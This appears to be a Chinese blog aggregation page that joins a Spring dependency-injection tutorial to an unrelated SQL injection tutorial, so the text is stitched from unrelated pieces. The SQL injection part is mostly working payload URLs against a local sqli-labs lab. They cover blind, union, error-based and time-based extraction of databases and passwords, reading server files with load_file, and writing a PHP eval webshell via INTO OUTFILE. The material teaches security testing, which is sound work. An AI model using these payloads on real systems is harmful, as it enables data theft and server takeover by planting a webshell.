精华内容
下载资源
问答
  • Spring常用的三种注入方式

    万次阅读 多人点赞 2017-10-28 21:45:39
    Spring通过DI(依赖注入)实现IOC(控制反转),常用的注入方式主要有三种:构造方法注入,setter注入,基于注解的注入。构造方法注入先简单看一下测试项目的结构,用maven构建的,四个包:entity:存储实体,里面...

    Spring通过DI(依赖注入)实现IOC(控制反转),常用的注入方式主要有三种:构造方法注入,setter注入,基于注解的注入。

    构造方法注入

    先简单了解一下测试项目的结构,用maven构建的,四个包:

    • entity:存储实体,里面只有一个User类
    • dao:数据访问,一个接口,两个实现类
    • service:服务层,一个接口,一个实现类,实现类依赖于IUserDao
    • test:测试包

    在spring的配置文件中注册UserService,将UserDaoJdbc通过constructor-arg标签注入到UserService的某个有参数的构造方法

    <!-- 注册userService -->
    <bean id="userService" class="com.lyu.spring.service.impl.UserService">
    	<constructor-arg ref="userDaoJdbc"></constructor-arg>
    </bean>
    <!-- 注册jdbc实现的dao -->
    <bean id="userDaoJdbc" class="com.lyu.spring.dao.impl.UserDaoJdbc"></bean>
    

    如果只有一个有参数的构造方法并且参数类型与注入的bean的类型匹配,那就会注入到该构造方法中。

    public class UserService implements IUserService {
    
    	private IUserDao userDao;
    	
    	public UserService(IUserDao userDao) {
    		this.userDao = userDao;
    	}
    	
    	public void loginUser() {
    		userDao.loginUser();
    	}
    
    }
    
    @Test
    public void testDI() {
    	ApplicationContext ac = new ClassPathXmlApplicationContext("applicationContext.xml");
    	// 获取bean对象
    	UserService userService = ac.getBean(UserService.class, "userService");
    	// 模拟用户登录
    	userService.loginUser();
    }
    

    测试打印结果:jdbc-登录成功

    注:模拟用户登录的loginUser方法其实只是打印了一条输出语句,jdbc实现的类输出的是:jdbc-登录成功,mybatis实现的类输出的是:mybatis-登录成功。

    问题一:如果有多个有参数的构造方法并且每个构造方法的参数列表里面都有要注入的属性,那userDaoJdbc会注入到哪里呢?

    public class UserService implements IUserService {
    
    	private IUserDao userDao;
    	private User user;
    	
    	public UserService(IUserDao userDao) {
    		System.out.println("这是有一个参数的构造方法");
    		this.userDao = userDao;
    	}
    	
    	public UserService(IUserDao userDao, User user) {
    		System.out.println("这是有两个参数的构造方法");
    		this.userDao = userDao;
    		this.user = user;
    	}
    	
    	public void loginUser() {
    		userDao.loginUser();
    	}
    
    }
    


    结果:会注入到只有一个参数的构造方法中,并且经过测试注入哪一个构造方法与构造方法的顺序无关

    这里写图片描述

    问题二:如果只有一个构造方法,但是有两个参数,一个是待注入的参数,另一个是其他类型的参数,那么这次注入可以成功吗?

    public class UserService implements IUserService {
    
    	private IUserDao userDao;
    	private User user;
    	
    	public UserService(IUserDao userDao, User user) {
    		this.userDao = userDao;
    		this.user = user;
    	}
    	
    	public void loginUser() {
    		userDao.loginUser();
    	}
    
    }
    

    结果:失败了,即使在costract-arg标签里面通过name属性指定要注入的参数名userDao也会失败.

    这里写图片描述

    问题三:如果我们想向有多个参数的构造方法中注入值该在配置文件中怎么写呢?

    public class UserService implements IUserService {
    
    	private IUserDao userDao;
    	private User user;
    	
    	public UserService(IUserDao userDao, User user) {
    		this.userDao = userDao;
    		this.user = user;
    	}
    	
    	public void loginUser() {
    		userDao.loginUser();
    	}
    
    }
    

    参考写法:通过name属性指定要注入的值,与构造方法参数列表参数的顺序无关。

    <!-- 注册userService -->
    <bean id="userService" class="com.lyu.spring.service.impl.UserService">
    	<constructor-arg name="userDao" ref="userDaoJdbc"></constructor-arg>
    	<constructor-arg name="user" ref="user"></constructor-arg>
    </bean>
    
    <!-- 注册实体User类,用于测试 -->
    <bean id="user" class="com.lyu.spring.entity.User"></bean>
    
    <!-- 注册jdbc实现的dao -->
    <bean id="userDaoJdbc" class="com.lyu.spring.dao.impl.UserDaoJdbc"></bean>
    

    问题四:如果有多个构造方法,每个构造方法只有参数的顺序不同,那通过构造方法注入多个参数会注入到哪一个呢?

    public class UserService implements IUserService {
    
    	private IUserDao userDao;
    	private User user;
    	
    	public UserService(IUserDao userDao, User user) {
    		System.out.println("这是第二个构造方法");
    		this.userDao = userDao;
    		this.user = user;
    	}
    	
    	public UserService(User user, IUserDao userDao) {
    		System.out.println("这是第一个构造方法");
    		this.userDao = userDao;
    		this.user = user;
    	}
    	
    	public void loginUser() {
    		userDao.loginUser();
    	}
    
    }
    

    结果:哪个构造方法在前就注入哪一个,这种情况下就与构造方法顺序有关。

    这里写图片描述

    setter注入

    配置文件如下:
    <!-- 注册userService -->
    <bean id="userService" class="com.lyu.spring.service.impl.UserService">
    	<!-- 写法一 -->
    	<!-- <property name="UserDao" ref="userDaoMyBatis"></property> -->
    	<!-- 写法二 -->
    	<property name="userDao" ref="userDaoMyBatis"></property>
    </bean>
    
    <!-- 注册mybatis实现的dao -->
    <bean id="userDaoMyBatis" class="com.lyu.spring.dao.impl.UserDaoMyBatis"></bean>
    

    注:上面这两种写法都可以,spring会将name值的每个单词首字母转换成大写,然后再在前面拼接上"set"构成一个方法名,然后去对应的类中查找该方法,通过反射调用,实现注入。

    切记:name属性值与类中的成员变量名以及set方法的参数名都无关,只与对应的set方法名有关,下面的这种写法是可以运行成功的

    public class UserService implements IUserService {
    
    	private IUserDao userDao1;
    	
    	public void setUserDao(IUserDao userDao1) {
    		this.userDao1 = userDao1;
    	}
    	
    	public void loginUser() {
    		userDao1.loginUser();
    	}
    
    }
    

    还有一点需要注意:如果通过set方法注入属性,那么spring会通过默认的空参构造方法来实例化对象,所以如果在类中写了一个带有参数的构造方法,一定要把空参数的构造方法写上,否则spring没有办法实例化对象,导致报错。
    这里写图片描述

    基于注解的注入

    在介绍注解注入的方式前,先简单了解bean的一个属性autowire,autowire主要有三个属性值:constructor,byName,byType。
    • constructor:通过构造方法进行自动注入,spring会匹配与构造方法参数类型一致的bean进行注入,如果有一个多参数的构造方法,一个只有一个参数的构造方法,在容器中查找到多个匹配多参数构造方法的bean,那么spring会优先将bean注入到多参数的构造方法中。

    • byName:被注入bean的id名必须与set方法后半截匹配,并且id名称的第一个单词首字母必须小写,这一点与手动set注入有点不同。

    • byType:查找所有的set方法,将符合符合参数类型的bean注入。


    下面进入正题:注解方式注册bean,注入依赖

    主要有四种注解可以注册bean,每种注解可以任意使用,只是语义上有所差异:

    1. @Component:可以用于注册所有bean
    2. @Repository:主要用于注册dao层的bean
    3. @Controller:主要用于注册控制层的bean
    4. @Service:主要用于注册服务层的bean

    描述依赖关系主要有两种:

    • @Resource:java的注解,默认以byName的方式去匹配与属性名相同的bean的id,如果没有找到就会以byType的方式查找,如果byType查找到多个的话,使用@Qualifier注解(spring注解)指定某个具体名称的bean。

      @Resource
      @Qualifier("userDaoMyBatis")
      private IUserDao userDao;
      
      public UserService(){
      	
      }
      
    • @Autowired:spring注解,默认是以byType的方式去匹配类型相同的bean,如果只匹配到一个,那么就直接注入该bean,无论要注入的 bean 的 name 是什么;如果匹配到多个,就会调用 DefaultListableBeanFactorydetermineAutowireCandidate 方法来决定具体注入哪个bean。determineAutowireCandidate 方法的内容如下:

      // candidateBeans 为上一步通过类型匹配到的多个bean,该 Map 中至少有两个元素。
      protected String determineAutowireCandidate(Map<String, Object> candidateBeans, DependencyDescriptor descriptor) {
          //  requiredType 为匹配到的接口的类型
         Class<?> requiredType = descriptor.getDependencyType();
         // 1. 先找 Bean 上有@Primary 注解的,有则直接返回
         String primaryCandidate = this.determinePrimaryCandidate(candidateBeans, requiredType);
         if (primaryCandidate != null) {
             return primaryCandidate;
         } else {
             // 2.再找 Bean 上有 @Order,@PriorityOrder 注解的,有则返回
             String priorityCandidate = this.determineHighestPriorityCandidate(candidateBeans, requiredType);
             if (priorityCandidate != null) {
                 return priorityCandidate;
             } else {
                 Iterator var6 = candidateBeans.entrySet().iterator();
      
                 String candidateBeanName;
                 Object beanInstance;
                 do {
                     if (!var6.hasNext()) {
                         return null;
                     }
      
                     // 3. 再找 bean 的名称匹配的
                     Entry<String, Object> entry = (Entry)var6.next();
                     candidateBeanName = (String)entry.getKey();
                     beanInstance = entry.getValue();
                 } while(!this.resolvableDependencies.values().contains(beanInstance) && !this.matchesBeanName(candidateBeanName, descriptor.getDependencyName()));
      
                 return candidateBeanName;
             }
         }
      }
      

      determineAutowireCandidate 方法的逻辑是:

      1. 先找 Bean 上有@Primary 注解的,有则直接返回 bean 的 name。
      2. 再找 Bean 上有 @Order,@PriorityOrder 注解的,有则返回 bean 的 name。
      3. 最后再以名称匹配(ByName)的方式去查找相匹配的 bean。

      可以简单的理解为先以 ByType 的方式去匹配,如果匹配到了多个再以 ByName 的方式去匹配,找到了对应的 bean 就去注入,没找到就抛出异常。

      还有一点要注意:如果使用了 @Qualifier 注解,那么当自动装配匹配到多个 bean 的时候就不会进入 determineAutowireCandidate 方法(亲测),而是直接查找与 @Qualifer 指定的 bean name 相同的 bean 去注入,找到了就直接注入,没有找到则抛出异常。

      tips:大家如果认真思考可能会发现 ByName 的注入方式和 @Qualifier 有点类似,都是在自动装配匹配到多个 bean 的时候,指定一个具体的 bean,那它们有什么不同呢?

      ByName 的方式需要遍历,@Qualifier 直接一次定位。在匹配到多个 bean 的情况下,使用 @Qualifier 来指明具体装配的 bean 效率会更高一下

      博主个人觉得:@Qualifer 注解出现的意义或许就是 Spring 为了解决 JDK 自带的 ByName 遍历匹配效率低下的问题。要不然也不会出现两个容易混淆的匹配方式。


    写在最后:虽然有这么多的注入方式,但是实际上开发的时候自己编写的类一般用注解的方式注册类,用@Autowired描述依赖进行注入,一般实现类也只有一种(jdbc or hibernate or mybatis),除非项目有大的变动,所以@Qualifier标签用的也较少;但是在使用其他组件的API的时候用的是通过xml配置文件来注册类,描述依赖,因为你不能去改人家源码嘛。


    另外,非常感谢 cdy1996 指出了我之前的错误(认为 ByName 是 @Autowired 默认的注入方式),欢迎大家指出我的错误和不足,但是,一定请带上代码。


    用于测试的项目的网盘链接如下:
    https://pan.baidu.com/s/1GrRlT5cLAI3SMu17TA6l6Q


    展开全文
  • SQL注入漏洞详解

    万次阅读 多人点赞 2018-08-23 20:51:39
    SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注入 五:时间盲注 六:REGEXP正则匹配 七:宽字节...

    目录

    SQL注入的分类

    判断是否存在SQL注入

    一:Boolean盲注

    二:union 注入

    三:文件读写

    四:报错注入

    floor报错注入

    ExtractValue报错注入

    UpdateXml报错注入 

    五:时间盲注

    六:REGEXP正则匹配

    七:宽字节注入

    八:堆叠注入

    九:二次注入

    十:User-Agent注入

    十一:Cookie注入

    十二:过滤绕过

    十三:传说中的万能密码 

    SQL注入的预防

    (1)预编译(PreparedStatement)(JSP)

    (2)PDO(PHP)

    (3)使用正则表达式过滤

    (4) 其他


    以下所有代码的环境:MySQL5.5.20+PHP

    SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。

    SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!

    由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识。

    • 5.0以下是多用户单操作
    • 5.0以上是多用户多操做

    在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    当尝试删除该数据库时,会爆出以下的错误!

    mysql中注释符

    • 单行注释:#   
    • 多行注释:/**/  

    information_schema数据库中三个很重要的表:

    • information_schema.schemata:  该数据表存储了mysql数据库中的所有数据库的库名
    • information_schema.tables:     该数据表存储了mysql数据库中的所有数据表的表名
    • information_schema.columns:    该数据表存储了mysql数据库中的所有列的列名

    关于这几个表的一些语法:

    // 通过这条语句可以得到第一个的数据库名  
    select schema_name from information_schema.schemata limit 0,1
    
    // 通过这条语句可以得到第一个的数据表名
    select table_name from information_schema.tables limit 0,1
    // 通过这条语句可以得到指定security数据库中的所有表名
    select table_name from information_schema.tables where table_schema='security'limit 0,1
    
    // 通过这条语句可以得到第一个的列名
    select column_name from information_schema.columns limit 0,1
    // 通过这条语句可以得到指定数据库security中的数据表users的所有列名
    select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
    
    //通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
    select password from users limit 0,1

    mysql中比较常用的一些函数

    • version(): 查询数据库的版本          
    • user():查询数据库的使用者       
    • database():数据库
    • system_user():系统用户名
    • session_user():连接数据库的用户名
    • current_user:当前用户名
    • load_file():读取本地文件
    • @@datadir:读取数据库路径
    • @@basedir:mysql安装路径
    • @@version_complie_os:查看操作系统

    ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97

    length(str) : 返回给定字符串的长度,如  length("string")=6

    substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如  substr("chinese",3,2)="in"

    也可以 substr(string from start for length)

    substr()、stbstring()、mid()  三个函数的用法、功能均一致

    concat(username):将查询到的username连在一起,默认用逗号分隔

    concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接

    group_concat(username) :将username数据查询在一起,用逗号连接

    limit 0,1:查询第1个数       limit 5:查询前5个   limit  1,1: 查询第2个数             limit  n,1: 查询第n+1个数   

    也可以 limit  1 offset 0

    更多的关于SQL语句:常见的SQL语句 

    SQL注入的分类

    依据注入点类型分类

    • 数字类型的注入
    • 字符串类型的注入
    • 搜索型注入

    依据提交方式分类

    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP头注入(XFF注入、UA注入、REFERER注入)

    依据获取信息的方式分类

    • 基于布尔的盲注
    • 基于时间的盲注
    • 基于报错的注入
    • 联合查询注入
    • 堆查询注入 (可同时执行多条语句)

    判断是否存在SQL注入

    一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。

    但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。

    一:二话不说,先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。

    二:还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

    三:还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。

    在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

    因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

    MySQL

    benchmark(100000000,md(5))

    sleep(3)

    PostgreSQL

    PG_sleep(5)

    Generate_series(1,1000000)

    SQLServer waitfor delay  '0:0:5'

    易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

    一:Boolean盲注

    盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

    我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句

    通过输入 http://127.0.0.1/sqli/Less-1/?id=1   我们得到了下面的页面

    然后输入 http://127.0.0.1/sqli/Less-5/?id=-1   我们得到下面的页面

    当我们输入  http://127.0.0.1/sqli/Less-5/?id=1 我们得到下面的页面

    由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数  limit 0,1 。当我们输入的语句正确时,就显示You are in....   当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出 SQL 语句错误。

    于是,我们可以推断出页面的源代码:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //sql查询语句
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    	if($row){                    //如果查询到数据
          	  echo 'You are in...........';
      	}else{                      //如果没查询到数据
    	     print_r(mysql_error());  	
    	}
    

    于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii()substr()length(),exists()、concat()等

    1:判断数据库类型

    这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?

    虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

    MySQL数据库的特有的表是 information_schema.tables  , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

    //判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
    
    //判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
    
    //判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
    
    //判断是否是Oracle数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #
    

    对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

    • table_schema: 记录数据库名
    • table_name: 记录数据表名
    • table_rows: 关于表的粗略行估计;
    • data_length : 记录表的大小(单位字节);

    2:判断当前数据库名(以下方法不适用于access和SQL Server数据库)

    1:判断当前数据库的长度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   //正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10   //不显示任何数据
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7   //正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8   //不显示任何数据
    
    大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
    
    2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
    //判断数据库的第一个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
    
    //判断数据库的第二个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
    
    ...........
    由此可以判断出当前数据库为 security

    3:判断当前数据库中的表

    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin)   //猜测当前数据库中是否存在admin表
    1:判断当前数据库中表的个数
    // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
    
    2:判断每个表的长度
    //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
    
    //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
    
    3:判断每个表的每个字符的ascii值
    //判断第一个表的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
    
    //判断第一个表的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
    
    .........
    由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

    4. 判断表中的字段

    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)   //如果已经证实了存在admin表,那么猜测是否存在username字段
    1:判断表中字段的个数
    //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
    
    2:判断字段的长度
    //判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
    
    //判断第二个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
    
    3:判断字段的ascii值
    //判断第一个字段的第一个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
    
    //判断第一个字段的第二个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
    
    ...........
    由此可判断出users表中存在 id、username、password 字段

    5.判断字段中的数据

    我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
    
    1: 判断数据的长度
    // 判断id字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
    
    // 判断id字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
    
    2:判断数据的ascii值
    // 判断id字段的第一个数据的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
    
    // 判断id字段的第一个数据的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
    
    ...........

    二:union 注入

    union联合查询适用于有显示列的注入。

    我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列

    http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #

    我们可以通过 union 联合查询来知道显示的列数

    127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #

    咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入

    http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #
    
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #

    这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。

    我们可以通过这些函数获得该数据库的一些重要的信息

    • version() :数据库的版本    
    • database() :当前所在的数据库   
    • @@basedir :  数据库的安装目录
    • @@datadir : 数据库文件的存放目录    
    • user() : 数据库的用户  
    • current_user() : 当前用户名
    • system_user() : 系统用户名    
    • session_user() :连接到数据库的用户名
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,version(),user() #

    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,database(),@@basedir #

    http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,@@datadir,current_user() #

    我们还可以通过union注入获得更多的信息。

    // 获得所有的数据库 
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(schema_name),3 from information_schema.schemata#
    
    // 获得所有的表
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables#
    
    // 获得所有的列
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(column_name),3 from information_schema.columns#
    
    #获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(password),3 from users%23

     当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表

    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

    我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每一个表中的列

    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

    如下,我们可以知道users表中有id,username,password三列

    我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句

    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(id,'--',username,'--',password),3 from users #

    我们就把users表中的所有数据都给爆出来了

    三:文件读写

    • 当有显示列的时候,文件读可以利用 union 注入。
    • 当没有显示列的时候,只能利用盲注进行数据读取。

    示例:读取e盘下3.txt文件

    union注入读取文件(load_file)

    //union注入读取 e:/3.txt 文件
    http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("e:/3.txt")#
    
    //也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
    http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)#

     

    盲注读取文件

    //盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
    http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1

    我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马

    union写入文件(into outfile)

    //利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #
    
    // 可以将一句话木马转换成16进制的形式
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #

    四:报错注入

    利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
    优点: 不需要显示位
    缺点: 需要输出 mysql_error( )的报错信息

    floor报错注入

    floor报错注入是利用 count()函数 rand()函数 floor()函数 group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

    // 我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分
    http://127.0.0.1/sqli/Less-1/?id=-1'  and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
    
    //将其分解
    (select 1 from (Y)a)
    
    Y= select count(*) from information_schema.tables group by concat(Z)
    
    Z= user(),floor(rand(0)*2)           //将这里的 user() 替换成我们需要查询的函数

    floor报错注入参考:https://blog.csdn.net/zpy1998zpy/article/details/80650540

    ExtractValue报错注入

    EXTRACTVALUE (XML_document, XPath_string)

    • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
    • 第二个参数:XPath_string (Xpath 格式的字符串).

    作用:从目标 XML 中返回包含所查询值的字符串

    ps: 返回结果 限制在32位字符

    // 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
    http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,user(),0x7e))#
    
    // 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
    http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
    

    UpdateXml报错注入 

    UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

    UPDATEXML (XML_document, XPath_string, new_value)

    • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
    • 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
    • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值

    // 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
    http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,user(),0x7e),1)#
    
    // 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
    http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
    

     

    更多的关于报错注入的文章:https://blog.csdn.net/cyjmosthandsome/article/details/87947136

                                                   https://blog.csdn.net/he_and/article/details/80455884

    五:时间盲注

    Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

    在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

    因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

    MySQL

    benchmark(100000000,md5(1))

    sleep(3)

    PostgreSQL

    PG_sleep(5)

    Generate_series(1,1000000)

    SQLServer waitfor delay  '0:0:5'

